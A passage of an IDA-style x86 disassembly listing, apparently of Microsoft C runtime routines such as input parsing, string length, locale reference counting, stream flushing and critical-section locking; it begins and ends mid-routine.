[ebp+var_40] mov eax, [ebp+var_38] lea eax, [eax+ebx-30h] mov [ebp+var_38], eax cmp [ebp+var_44], 0 jz short loc_415EB6 dec [ebp+var_48] jnz short loc_415EB6 mov [ebp+var_4C], 1 jmp short loc_415ED5 ; --------------------------------------------------------------------------- loc_415EB6: ; CODE XREF: sub_41554C+95Dj ; sub_41554C+962j inc [ebp+var_30] mov edx, esi call sub_415536 mov ebx, eax jmp short loc_415ED5 ; --------------------------------------------------------------------------- loc_415EC4: ; CODE XREF: sub_41554C+94Aj dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_415ED5 push esi push ebx call sub_41AC6F pop ecx pop ecx loc_415ED5: ; CODE XREF: sub_41554C+968j ; sub_41554C+976j ... cmp [ebp+var_4C], 0 jz loc_415E3B mov [ebp+var_28], ebx loc_415EE2: ; CODE XREF: sub_41554C+8E9j cmp [ebp+var_4A], 0 jz short loc_415EEB neg [ebp+var_38] loc_415EEB: ; CODE XREF: sub_41554C+8C7j ; sub_41554C+8E0j ... cmp edi, 46h jnz short loc_415EF4 and [ebp+var_40], 0 loc_415EF4: ; CODE XREF: sub_41554C+9A2j cmp [ebp+var_40], 0 jz loc_415FB9 cmp [ebp+var_4B], 0 jnz short loc_415F2D inc [ebp+var_34] mov ebx, [ebp+var_64] mov eax, [ebp+var_38] loc_415F0D: ; CODE XREF: sub_41554C+259j cmp [ebp+var_54], 0 jz short loc_415F20 mov eax, [ebp+var_5C] mov [ebx], eax mov eax, [ebp+var_58] mov [ebx+4], eax jmp short loc_415F2D ; --------------------------------------------------------------------------- loc_415F20: ; CODE XREF: sub_41554C+9C5j cmp [ebp+var_4F], 0 jz short loc_415F2A mov [ebx], eax jmp short loc_415F2D ; --------------------------------------------------------------------------- loc_415F2A: ; CODE XREF: sub_41554C+9D8j mov [ebx], ax loc_415F2D: ; CODE XREF: sub_41554C+25Fj ; sub_41554C+3F1j ... inc [ebp+var_29] inc [ebp+arg_4] jmp short loc_415F9D ; --------------------------------------------------------------------------- loc_415F35: ; CODE XREF: sub_41554C+90j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_415536 mov ebx, eax mov [ebp+var_28], ebx movzx eax, byte ptr [esi] inc esi mov [ebp+arg_4], esi cmp eax, ebx jnz short loc_415F86 movzx eax, bl mov ecx, off_42CE30 test byte ptr [ecx+eax*2+1], 80h jz short loc_415F9D inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_415536 movzx ecx, byte ptr [esi] inc esi mov [ebp+arg_4], esi cmp ecx, eax jz short loc_415F9A cmp eax, 0FFFFFFFFh jz short loc_415F86 push [ebp+arg_0] push eax call sub_41AC6F pop ecx pop ecx loc_415F86: ; CODE XREF: sub_41554C+A02j ; sub_41554C+A2Dj cmp ebx, 0FFFFFFFFh loc_415F89: ; CODE XREF: sub_41554C+471j jz short loc_415FB9 push [ebp+arg_0] push [ebp+var_28] call sub_41AC6F pop ecx pop ecx jmp short loc_415FB9 ; --------------------------------------------------------------------------- loc_415F9A: ; CODE XREF: sub_41554C+A28j dec [ebp+var_30] loc_415F9D: ; CODE XREF: sub_41554C+9E7j ; sub_41554C+A12j cmp [ebp+var_28], 0FFFFFFFFh jnz loc_41557A mov eax, [ebp+arg_4] cmp byte ptr [eax], 25h jnz short loc_415FB9 cmp byte ptr [eax+1], 6Eh jz loc_41557A loc_415FB9: ; CODE XREF: sub_41554C+35j ; sub_41554C+3E7j ... cmp [ebp+var_24], 1 jnz short loc_415FC8 push [ebp+var_20] call sub_412FE4 pop ecx loc_415FC8: ; CODE XREF: sub_41554C+A71j mov eax, [ebp+var_34] cmp [ebp+var_28], 0FFFFFFFFh jnz short loc_415FDD test eax, eax jnz short loc_415FDD cmp [ebp+var_29], al jnz short loc_415FDD or eax, 0FFFFFFFFh loc_415FDD: ; CODE XREF: sub_41554C+A83j ; sub_41554C+A87j ... lea esp, [ebp-1E4h] mov ecx, [ebp+var_1C] xor ecx, [ebp+4] call sub_4182D6 call __SEH_epilog retn sub_41554C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416000 proc near ; CODE XREF: sub_412D93+17p ; sub_414004+D2p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_416030 loc_41600C: ; CODE XREF: sub_416000+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_416063 test ecx, 3 jnz short loc_41600C add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_416030: ; CODE XREF: sub_416000+Aj ; sub_416000+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_416030 mov eax, [ecx-4] test al, al jz short loc_416081 test ah, ah jz short loc_416077 test eax, 0FF0000h jz short loc_41606D test eax, 0FF000000h jz short loc_416063 jmp short loc_416030 ; --------------------------------------------------------------------------- loc_416063: ; CODE XREF: sub_416000+13j ; sub_416000+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41606D: ; CODE XREF: sub_416000+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_416077: ; CODE XREF: sub_416000+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_416081: ; CODE XREF: sub_416000+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_416000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41608B proc near ; CODE XREF: sub_412EBA+2Ap ; sub_41364A+37p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] lea ecx, [eax+1] cmp ecx, 100h mov ecx, [ebp+arg_0] ja short loc_4160A9 mov ecx, [ecx+48h] movzx eax, word ptr [ecx+eax*2] jmp short loc_4160FD ; --------------------------------------------------------------------------- loc_4160A9: ; CODE XREF: sub_41608B+13j push esi mov edx, eax sar edx, 8 push edi mov edi, [ecx+48h] movzx esi, dl test byte ptr [edi+esi*2+1], 80h pop edi pop esi jz short loc_4160CE and [ebp+var_2], 0 push 2 mov [ebp+var_3], al mov [ebp+var_4], dl pop eax jmp short loc_4160D8 ; --------------------------------------------------------------------------- loc_4160CE: ; CODE XREF: sub_41608B+32j and [ebp+var_3], 0 mov [ebp+var_4], al xor eax, eax inc eax loc_4160D8: ; CODE XREF: sub_41608B+41j push 1 push dword ptr [ecx+14h] push dword ptr [ecx+4] lea ecx, [ebp+arg_4+2] push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41AF01 add esp, 1Ch test eax, eax jnz short loc_4160F9 leave retn ; --------------------------------------------------------------------------- loc_4160F9: ; CODE XREF: sub_41608B+6Aj movzx eax, word ptr [ebp+arg_4+2] loc_4160FD: ; CODE XREF: sub_41608B+1Cj and eax, [ebp+arg_8] leave retn sub_41608B endp ; =============== S U B R O U T I N E ======================================= sub_416102 proc near ; CODE XREF: sub_4161CC+B7p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+3Ch] push edi xor edi, edi cmp eax, dword_47A148 jz short loc_416178 cmp eax, edi jz short loc_416178 mov eax, [esi+2Ch] cmp [eax], edi jnz short loc_416178 mov eax, [esi+34h] cmp eax, edi jz short loc_416143 cmp [eax], edi jnz short loc_416143 cmp eax, dword_47A2C0 jz short loc_416143 push eax call sub_412FE4 push dword ptr [esi+3Ch] call sub_41B2AA pop ecx pop ecx loc_416143: ; CODE XREF: sub_416102+23j ; sub_416102+27j ... mov eax, [esi+30h] cmp eax, edi jz short loc_416166 cmp [eax], edi jnz short loc_416166 cmp eax, dword_47A2C4 jz short loc_416166 push eax call sub_412FE4 push dword ptr [esi+3Ch] call sub_41B24B pop ecx pop ecx loc_416166: ; CODE XREF: sub_416102+46j ; sub_416102+4Aj ... push dword ptr [esi+2Ch] call sub_412FE4 push dword ptr [esi+3Ch] call sub_412FE4 pop ecx pop ecx loc_416178: ; CODE XREF: sub_416102+11j ; sub_416102+15j ... mov eax, [esi+40h] cmp eax, dword_47A2BC jz short loc_41619B cmp eax, edi jz short loc_41619B cmp [eax], edi jnz short loc_41619B push eax call sub_412FE4 push dword ptr [esi+44h] call sub_412FE4 pop ecx pop ecx loc_41619B: ; CODE XREF: sub_416102+7Fj ; sub_416102+83j ... mov eax, [esi+50h] cmp eax, dword_47A144 jz short loc_4161C2 cmp eax, edi jz short loc_4161C2 cmp [eax+0B4h], edi jnz short loc_4161C2 push eax call sub_41B0BB push dword ptr [esi+50h] call sub_412FE4 pop ecx pop ecx loc_4161C2: ; CODE XREF: sub_416102+A2j ; sub_416102+A6j ... push esi call sub_412FE4 pop ecx pop edi pop esi retn sub_416102 endp ; =============== S U B R O U T I N E ======================================= sub_4161CC proc near ; CODE XREF: sub_41628E+18p push esi call sub_415456 mov esi, eax mov eax, [esi+64h] cmp eax, off_42C7BC jz loc_416289 test eax, eax jz short loc_416216 mov ecx, [eax+2Ch] dec dword ptr [eax] test ecx, ecx jz short loc_4161F2 dec dword ptr [ecx] loc_4161F2: ; CODE XREF: sub_4161CC+22j mov ecx, [eax+34h] test ecx, ecx jz short loc_4161FB dec dword ptr [ecx] loc_4161FB: ; CODE XREF: sub_4161CC+2Bj mov ecx, [eax+30h] test ecx, ecx jz short loc_416204 dec dword ptr [ecx] loc_416204: ; CODE XREF: sub_4161CC+34j mov ecx, [eax+40h] test ecx, ecx jz short loc_41620D dec dword ptr [ecx] loc_41620D: ; CODE XREF: sub_4161CC+3Dj mov ecx, [eax+4Ch] dec dword ptr [ecx+0B4h] loc_416216: ; CODE XREF: sub_4161CC+19j mov ecx, off_42C7BC mov [esi+64h], ecx mov ecx, off_42C7BC inc dword ptr [ecx] mov ecx, off_42C7BC mov ecx, [ecx+2Ch] test ecx, ecx jz short loc_416236 inc dword ptr [ecx] loc_416236: ; CODE XREF: sub_4161CC+66j mov ecx, off_42C7BC mov ecx, [ecx+34h] test ecx, ecx jz short loc_416245 inc dword ptr [ecx] loc_416245: ; CODE XREF: sub_4161CC+75j mov ecx, off_42C7BC mov ecx, [ecx+30h] test ecx, ecx jz short loc_416254 inc dword ptr [ecx] loc_416254: ; CODE XREF: sub_4161CC+84j mov ecx, off_42C7BC mov ecx, [ecx+40h] test ecx, ecx jz short loc_416263 inc dword ptr [ecx] loc_416263: ; CODE XREF: sub_4161CC+93j mov ecx, off_42C7BC mov ecx, [ecx+4Ch] inc dword ptr [ecx+0B4h] test eax, eax jz short loc_416289 cmp dword ptr [eax], 0 jnz short loc_416289 cmp eax, offset dword_42C768 jz short loc_416289 push eax call sub_416102 pop ecx loc_416289: ; CODE XREF: sub_4161CC+11j ; sub_4161CC+A8j ... mov eax, [esi+64h] pop esi retn sub_4161CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41628E proc near ; CODE XREF: sub_412EBA+12p ; sub_41364A+17p ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_427A08 call __SEH_prolog push 0Ch call sub_416901 pop ecx and [ebp+ms_exc.disabled], 0 call sub_4161CC mov [ebp+var_1C], eax or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4162C0 mov eax, [ebp+var_1C] call __SEH_epilog retn sub_41628E endp ; =============== S U B R O U T I N E ======================================= sub_4162C0 proc near ; CODE XREF: sub_41628E+24p ; DATA XREF: .rdata:stru_427A08o push 0Ch call sub_41686D pop ecx retn sub_4162C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4162D0 proc near ; CODE XREF: sub_41554C+832p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4162E9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4162E9: ; CODE XREF: sub_4162D0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4162D0 endp ; =============== S U B R O U T I N E ======================================= sub_416304 proc near ; CODE XREF: sub_416387+4Cp ; sub_41BFAD+2DCp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_41B76B cmp eax, 0FFFFFFFFh pop ecx jz short loc_416352 cmp esi, 1 jz short loc_416320 cmp esi, 2 jnz short loc_416336 loc_416320: ; CODE XREF: sub_416304+15j push 2 call sub_41B76B push 1 mov edi, eax call sub_41B76B cmp eax, edi pop ecx pop ecx jz short loc_416352 loc_416336: ; CODE XREF: sub_416304+1Aj push esi call sub_41B76B pop ecx push eax call ds:dword_41F034 test eax, eax jnz short loc_416352 call ds:dword_41F008 mov edi, eax jmp short loc_416354 ; --------------------------------------------------------------------------- loc_416352: ; CODE XREF: sub_416304+10j ; sub_416304+30j ... xor edi, edi loc_416354: ; CODE XREF: sub_416304+4Cj push esi call sub_41B6EC mov eax, esi sar eax, 5 mov eax, dword_47A2E0[eax*4] and esi, 1Fh pop ecx lea ecx, [esi+esi*8] and byte ptr [eax+ecx*4+4], 0 test edi, edi jz short loc_416382 push edi call sub_417C82 pop ecx or eax, 0FFFFFFFFh jmp short loc_416384 ; --------------------------------------------------------------------------- loc_416382: ; CODE XREF: sub_416304+70j xor eax, eax loc_416384: ; CODE XREF: sub_416304+7Cj pop edi pop esi retn sub_416304 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416387 proc near ; CODE XREF: sub_412F47+20p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00416406 SIZE 0000001C BYTES push 0Ch push offset stru_427A18 call __SEH_prolog mov ebx, [ebp+arg_0] cmp ebx, dword_47A2C8 jnb short loc_416406 mov eax, ebx sar eax, 5 lea edi, ds:47A2E0h[eax*4] mov eax, ebx and eax, 1Fh lea esi, [eax+eax*8] shl esi, 2 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_416406 push ebx call sub_41B7AC pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [edi] test byte ptr [eax+esi+4], 1 jz short loc_4163DE push ebx call sub_416304 pop ecx mov [ebp+var_1C], eax jmp short loc_4163ED ; --------------------------------------------------------------------------- loc_4163DE: ; CODE XREF: sub_416387+49j call sub_417C70 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_4163ED: ; CODE XREF: sub_416387+55j or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4163FE mov eax, [ebp+var_1C] jmp short loc_41641C sub_416387 endp ; =============== S U B R O U T I N E ======================================= sub_4163FB proc near ; DATA XREF: .rdata:stru_427A18o mov ebx, [ebp+8] sub_4163FB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4163FE proc near ; CODE XREF: sub_416387+6Ap push ebx call sub_41B81F pop ecx retn sub_4163FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_416387 loc_416406: ; CODE XREF: sub_416387+15j ; sub_416387+35j call sub_417C70 mov dword ptr [eax], 9 call sub_417C79 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_41641C: ; CODE XREF: sub_416387+72j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_416387 ; =============== S U B R O U T I N E ======================================= sub_416422 proc near ; CODE XREF: sub_412F47+18p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41644B test al, 8 jz short loc_41644B push dword ptr [esi+8] call sub_412FE4 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41644B: ; CODE XREF: sub_416422+Aj ; sub_416422+Ej pop esi retn sub_416422 endp ; =============== S U B R O U T I N E ======================================= sub_41644D proc near ; CODE XREF: sub_412F47+10p ; sub_414809+38p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] mov eax, [esi+0Ch] mov ecx, eax and cl, 3 xor ebx, ebx cmp cl, 2 jnz short loc_41649C test ax, 108h jz short loc_41649C mov eax, [esi+8] push edi mov edi, [esi] sub edi, eax test edi, edi jle short loc_41649B push edi push eax push dword ptr [esi+10h] call sub_41A961 add esp, 0Ch cmp eax, edi jnz short loc_416494 mov eax, [esi+0Ch] test al, al jns short loc_41649B and eax, 0FFFFFFFDh mov [esi+0Ch], eax jmp short loc_41649B ; --------------------------------------------------------------------------- loc_416494: ; CODE XREF: sub_41644D+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41649B: ; CODE XREF: sub_41644D+25j ; sub_41644D+3Dj ... pop edi loc_41649C: ; CODE XREF: sub_41644D+13j ; sub_41644D+19j mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop esi mov eax, ebx pop ebx retn sub_41644D endp ; =============== S U B R O U T I N E ======================================= sub_4164AA proc near ; CODE XREF: sub_4164D8+67p ; sub_4164D8+82p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_41644D test eax, eax pop ecx jz short loc_4164BF or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_4164BF: ; CODE XREF: sub_4164AA+Ej test byte ptr [esi+0Dh], 40h jz short loc_4164D4 push dword ptr [esi+10h] call sub_41B98E pop ecx neg eax sbb eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4164D4: ; CODE XREF: sub_4164AA+19j xor eax, eax pop esi retn sub_4164AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4164D8 proc near ; CODE XREF: sub_4165AD+2p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00416589 SIZE 0000001B BYTES push 14h push offset stru_427A28 call __SEH_prolog xor edi, edi mov [ebp+var_1C], edi mov [ebp+var_20], edi push 1 call sub_416901 pop ecx mov [ebp+ms_exc.disabled], edi xor esi, esi loc_4164F9: ; CODE XREF: sub_4164D8+99j mov [ebp+var_24], esi cmp esi, dword_47B660 jge loc_416589 mov eax, dword_47A644 mov eax, [eax+esi*4] cmp eax, edi jz short loc_416570 test byte ptr [eax+0Ch], 83h jz short loc_416570 push eax push esi call sub_4166A2 pop ecx pop ecx xor edx, edx inc edx mov [ebp+ms_exc.disabled], edx mov eax, dword_47A644 mov eax, [eax+esi*4] mov ecx, [eax+0Ch] test cl, 83h jz short loc_416568 cmp [ebp+arg_0], edx jnz short loc_41654F push eax call sub_4164AA pop ecx cmp eax, 0FFFFFFFFh jz short loc_416568 inc [ebp+var_1C] jmp short loc_416568 ; --------------------------------------------------------------------------- loc_41654F: ; CODE XREF: sub_4164D8+64j cmp [ebp+arg_0], edi jnz short loc_416568 test cl, 2 jz short loc_416568 push eax call sub_4164AA pop ecx cmp eax, 0FFFFFFFFh jnz short loc_416568 or [ebp+var_20], eax loc_416568: ; CODE XREF: sub_4164D8+5Fj ; sub_4164D8+70j ... mov [ebp+ms_exc.disabled], edi call sub_416578 loc_416570: ; CODE XREF: sub_4164D8+3Aj ; sub_4164D8+40j inc esi jmp short loc_4164F9 sub_4164D8 endp ; =============== S U B R O U T I N E ======================================= sub_416573 proc near ; DATA XREF: .rdata:00427A3Co xor edi, edi mov esi, [ebp-24h] sub_416573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416578 proc near ; CODE XREF: sub_4164D8+93p mov eax, dword_47A644 push dword ptr [eax+esi*4] push esi call sub_4166F4 pop ecx pop ecx retn sub_416578 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4164D8 loc_416589: ; CODE XREF: sub_4164D8+2Aj or [ebp+ms_exc.disabled], 0FFFFFFFFh call sub_4165A4 cmp [ebp+arg_0], 1 mov eax, [ebp+var_1C] jz short loc_41659E mov eax, [ebp+var_20] loc_41659E: ; CODE XREF: sub_4164D8+C1j call __SEH_epilog retn ; END OF FUNCTION CHUNK FOR sub_4164D8 ; =============== S U B R O U T I N E ======================================= sub_4165A4 proc near ; CODE XREF: sub_4164D8+B5p ; DATA XREF: .rdata:stru_427A28o push 1 call sub_41686D pop ecx retn sub_4165A4 endp ; =============== S U B R O U T I N E ======================================= sub_4165AD proc near ; CODE XREF: sub_41665Fp push 1 call sub_4164D8 pop ecx retn sub_4165AD endp ; =============== S U B R O U T I N E ======================================= sub_4165B6 proc near ; DATA XREF: .data:0042A010o mov eax, dword_47B660 test eax, eax push esi push 14h pop esi jnz short loc_4165CA mov eax, 200h jmp short loc_4165D0 ; --------------------------------------------------------------------------- loc_4165CA: ; CODE XREF: sub_4165B6+Bj cmp eax, esi jge short loc_4165D5 mov eax, esi loc_4165D0: ; CODE XREF: sub_4165B6+12j mov dword_47B660, eax loc_4165D5: ; CODE XREF: sub_4165B6+16j push 4 push eax call sub_41AB01 test eax, eax pop ecx pop ecx mov dword_47A644, eax jnz short loc_416606 push 4 push esi mov dword_47B660, esi call sub_41AB01 test eax, eax pop ecx pop ecx mov dword_47A644, eax jnz short loc_416606 push 1Ah pop eax pop esi retn ; --------------------------------------------------------------------------- loc_416606: ; CODE XREF: sub_4165B6+30j ; sub_4165B6+49j xor edx, edx mov ecx, offset off_42C900 jmp short loc_416614 ; --------------------------------------------------------------------------- loc_41660F: ; CODE XREF: sub_4165B6+6Dj mov eax, dword_47A644 loc_416614: ; CODE XREF: sub_4165B6+57j mov [edx+eax], ecx add ecx, 20h add edx, 4 cmp ecx, offset dword_42CB80 jl short loc_41660F xor ecx, ecx mov edx, offset dword_42C910 loc_41662C: ; CODE XREF: sub_4165B6+A3j mov esi, ecx mov eax, ecx and eax, 1Fh sar esi, 5 mov esi, dword_47A2E0[esi*4] lea eax, [eax+eax*8] mov eax, [esi+eax*4] cmp eax, 0FFFFFFFFh jz short loc_41664C test eax, eax jnz short loc_41664F loc_41664C: ; CODE XREF: sub_4165B6+90j or dword ptr [edx], 0FFFFFFFFh loc_41664F: ; CODE XREF: sub_4165B6+94j add edx, 20h inc ecx cmp edx, offset dword_42C970 jl short loc_41662C xor eax, eax pop esi retn sub_4165B6 endp ; =============== S U B R O U T I N E ======================================= sub_41665F proc near ; DATA XREF: .data:0042A02Co ; FUNCTION CHUNK AT 0041BA4A SIZE 00000092 BYTES call sub_4165AD cmp byte_479E94, 0 jz short locret_416672 jmp loc_41BA4A ; --------------------------------------------------------------------------- locret_416672: ; CODE XREF: sub_41665F+Cj retn sub_41665F endp ; =============== S U B R O U T I N E ======================================= sub_416673 proc near ; CODE XREF: sub_412F93+27p ; sub_41313E+Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_42C900 cmp eax, ecx jb short loc_416697 cmp eax, offset dword_42CB60 ja short loc_416697 sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_416901 pop ecx retn ; --------------------------------------------------------------------------- loc_416697: ; CODE XREF: sub_416673+Bj ; sub_416673+12j add eax, 20h push eax call ds:dword_41F01C retn sub_416673 endp ; =============== S U B R O U T I N E ======================================= sub_4166A2 proc near ; CODE XREF: sub_4164D8+44p ; sub_417CF5+66p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_4166B6 add eax, 10h push eax call sub_416901 pop ecx retn ; --------------------------------------------------------------------------- loc_4166B6: ; CODE XREF: sub_4166A2+7j mov eax, [esp+arg_4] add eax, 20h push eax call ds:dword_41F01C retn sub_4166A2 endp ; =============== S U B R O U T I N E ======================================= sub_4166C5 proc near ; CODE XREF: sub_412FDC+1p ; sub_413180+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_42C900 cmp eax, ecx jb short loc_4166E9 cmp eax, offset dword_42CB60 ja short loc_4166E9 sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_41686D pop ecx retn ; --------------------------------------------------------------------------- loc_4166E9: ; CODE XREF: sub_4166C5+Bj ; sub_4166C5+12j add eax, 20h push eax call ds:dword_41F018 retn sub_4166C5 endp ; =============== S U B R O U T I N E ======================================= sub_4166F4 proc near ; CODE XREF: sub_416578+9p ; sub_417CF5+7Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_416708 add eax, 10h push eax call sub_41686D pop ecx retn ; --------------------------------------------------------------------------- loc_416708: ; CODE XREF: sub_4166F4+7j mov eax, [esp+arg_4] add eax, 20h push eax call ds:dword_41F018 retn sub_4166F4 endp ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_416764 proc near ; CODE XREF: sub_41677E+20p cmp dword_479E5C, 2 jnz short loc_41677A cmp dword_479E68, 5 jb short loc_41677A xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41677A: ; CODE XREF: sub_416764+7j ; sub_416764+10j push 3 pop eax retn sub_416764 endp ; =============== S U B R O U T I N E ======================================= sub_41677E proc near ; CODE XREF: .text:004149F3p arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax push 0 setz al push 1000h push eax call ds:dword_41F16C test eax, eax mov dword_47A63C, eax jz short loc_4167C8 call sub_416764 cmp eax, 3 mov dword_47A640, eax jnz short loc_4167CB push 3F8h call sub_416932 test eax, eax pop ecx jnz short loc_4167CB push dword_47A63C call ds:dword_41F168 loc_4167C8: ; CODE XREF: sub_41677E+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_4167CB: ; CODE XREF: sub_41677E+2Dj ; sub_41677E+3Cj xor eax, eax inc eax retn sub_41677E endp ; =============== S U B R O U T I N E ======================================= sub_4167CF proc near ; CODE XREF: sub_4154C7p push esi push edi xor esi, esi mov edi, offset dword_479EC0 loc_4167D8: ; CODE XREF: sub_4167CF+35j cmp dword_42CB8C[esi*8], 1 jnz short loc_416800 lea eax, ds:42CB88h[esi*8] mov [eax], edi push 0FA0h push dword ptr [eax] add edi, 18h call sub_41BBD8 test eax, eax pop ecx pop ecx jz short loc_41680C loc_416800: ; CODE XREF: sub_4167CF+11j inc esi cmp esi, 24h jl short loc_4167D8 xor eax, eax inc eax loc_416809: ; CODE XREF: sub_4167CF+47j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41680C: ; CODE XREF: sub_4167CF+2Fj and off_42CB88[esi*8], 0 xor eax, eax jmp short loc_416809 sub_4167CF endp ; =============== S U B R O U T I N E ======================================= sub_416818 proc near ; CODE XREF: sub_415438p push ebx mov ebx, ds:dword_41F024 push esi mov esi, offset off_42CB88 push edi loc_416826: ; CODE XREF: sub_416818+30j mov edi, [esi] test edi, edi jz short loc_41683F cmp dword ptr [esi+4], 1 jz short loc_41683F push edi call ebx push edi call sub_412FE4 and dword ptr [esi], 0 pop ecx loc_41683F: ; CODE XREF: sub_416818+12j ; sub_416818+18j add esi, 8 cmp esi, offset dword_42CCA8 jl short loc_416826 mov esi, offset off_42CB88 pop edi loc_416850: ; CODE XREF: sub_416818+50j mov eax, [esi] test eax, eax jz short loc_41685F cmp dword ptr [esi+4], 1 jnz short loc_41685F push eax call ebx loc_41685F: ; CODE XREF: sub_416818+3Cj ; sub_416818+42j add esi, 8 cmp esi, offset dword_42CCA8 jl short loc_416850 pop esi pop ebx retn sub_416818 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41686D proc near ; CODE XREF: sub_413037+2p ; sub_4132F2+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push off_42CB88[eax*8] call ds:dword_41F018 pop ebp retn sub_41686D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416882 proc near ; CODE XREF: sub_416901+14p ; sub_417CF5+4Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] lea esi, ds:42CB88h[esi*8] cmp dword ptr [esi], 0 jz short loc_41689A xor eax, eax inc eax jmp short loc_4168FE ; --------------------------------------------------------------------------- loc_41689A: ; CODE XREF: sub_416882+11j push edi push 18h call sub_41344D mov edi, eax test edi, edi pop ecx jnz short loc_4168B8 loc_4168A9: ; CODE XREF: sub_416882+63j call sub_417C70 mov dword ptr [eax], 0Ch xor eax, eax jmp short loc_4168FD ; --------------------------------------------------------------------------- loc_4168B8: ; CODE XREF: sub_416882+25j push 0Ah call sub_416901 cmp dword ptr [esi], 0 pop ecx jnz short loc_4168EB push 0FA0h push edi call sub_41BBD8 test eax, eax pop ecx pop ecx jnz short loc_4168E7 push edi call sub_412FE4 push 0Ah call sub_41686D pop ecx pop ecx jmp short loc_4168A9 ; --------------------------------------------------------------------------- loc_4168E7: ; CODE XREF: sub_416882+52j mov [esi], edi jmp short loc_4168F2 ; --------------------------------------------------------------------------- loc_4168EB: ; CODE XREF: sub_416882+41j push edi call sub_412FE4 pop ecx loc_4168F2: ; CODE XREF: sub_416882+67j push 0Ah call sub_41686D xor eax, eax pop ecx inc eax loc_4168FD: ; CODE XREF: sub_416882+34j pop edi loc_4168FE: ; 